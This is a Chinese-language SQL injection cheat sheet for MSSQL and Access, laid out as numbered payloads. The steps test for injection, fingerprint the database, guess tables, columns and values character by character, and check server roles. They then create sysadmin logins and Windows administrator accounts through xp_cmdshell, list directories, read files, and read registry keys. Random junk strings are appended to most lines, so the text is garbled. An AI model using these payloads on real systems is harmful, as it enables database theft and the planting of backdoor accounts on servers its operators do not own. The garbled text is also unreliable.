1.判断是否有注入;and 1=1 ;and 1=2 i]Fp..`v~
2.初步判断是否是mssql ;and user>0 ,k{#S?:b
1rv)&tKs
3.注入参数是字符'and [查询条件] and ''=' rai3<_W<
!>{G,\^=pT
4.搜索时没过滤参数的'and [查询条件] and '%25'=' T]t+E'sQ
pP*zq"o
5.判断数据库系统 %\D)u8}
_,xc[ 07
;and (select count(*) from sysobjects)>0 mssql f!oT65Vmi
=Z P%mW&;}
;and (select count(*) from msysobjects)>0 access Ge-CY
bvv|;6
.z)%)PVV
'oF%,4 !Y
6.猜数据库 ;and (select Count(*) from [数据库名])>0 r\b3AKrIN
:*ing
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 &<wuJ%'>)Z
AvxfI"sp
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 P|.] DJ
a:"Uh**
9.(1)猜字段的ascii值(access) b7NM#Hb
jT8#C=a7
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 i=i(%yQ%
)2V:
(2)猜字段的ascii值(mssql) )-0kb~;|
~%^
tB
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 ?&|5=>u2}$
19O,a#{KHf
10.测试权限结构(mssql) gZLP\_CL
xl6,s>ob
Xe<sJ.&Wf
lV1G<qP
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- \@8+U;d
&j4 xgh 9
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- E=e*VEjy
[z9`)VIe
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- c0%"&a1]]V
1QLbf*zeIW
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- FN\E*@>X=
A6:es_
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- BFL`!^
t?}zdI(4
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- K[ (NTp$E
-j73Wz
;and 1=(select IS_MEMBER('db_owner'));-- AtdlZ
k p<OJy
/LO-HnJ
1#.>a$>
11.添加mssql和系统的帐户 ny`#%Vs
o$w_Es]Ma
;exec master.dbo.sp_addlogin username;-- 2^^`n1?'
;exec master.dbo.sp_password null,username,password;-- ~(Q)"s\1I
I_<I&{N>
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- P"W2(d
Ezr:1 GJ
;exec master.dbo.xp_cmdshell 'net user username password 7g%E`3)"
4:|S` jm
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- Zrvz;p@~
e6d<dXx
;exec master.dbo.xp_cmdshell 'net user username password /add';-- J@4 Bf
zx-81fx+k
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 4<% *E{`
oW<5|FaN
5qr'.m
%]>KvoA
12.(1)遍历目录 +n#V[~~8AI
/4g1zrU
;create table dirs(paths varchar(100), id int) o| #Qu8Lk
JKGc3j,+#
;insert dirs exec master.dbo.xp_dirtree 'c:\' SzjkI+-$:
huJ&]"C
;and (select top 1 paths from dirs)>0 .u4
W /
f ` R/
i
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 7cTV?nc
Jh
]i]7r
G5CI<KRK#
13@|w1/Z
(2)遍历目录 m06ALD_
+R|z{M)*
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- .w0s%T,8}^
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 Kac' ;1
6"~P/\jP
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 r]b_@hT',
3+ @<lVew6
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 w]]8dz
[/e<l&y
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 :E:38q,hG
i[?Vin
d4?Mi2/jF
/7}It$|nhy
13.mssql中的存储过程 D^=J|7e
P;Ga4Q.
xp_regenumvalues 注册表根键, 子键 #MRMNL@
[uI|DUlI6o
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 Mz~M3$$9n
zmSUw}-4N
xp_regread 根键,子键,键值名 vTJ}8
cVv;Jn
;exec xp_regread YgUvOyaQXf
g7OqX \
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 TrLu~4
OH">b6>\
xp_regwrite 根键,子键, 值名, 值类型, 值 ][?G/*k
oxz OA
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 \lZf<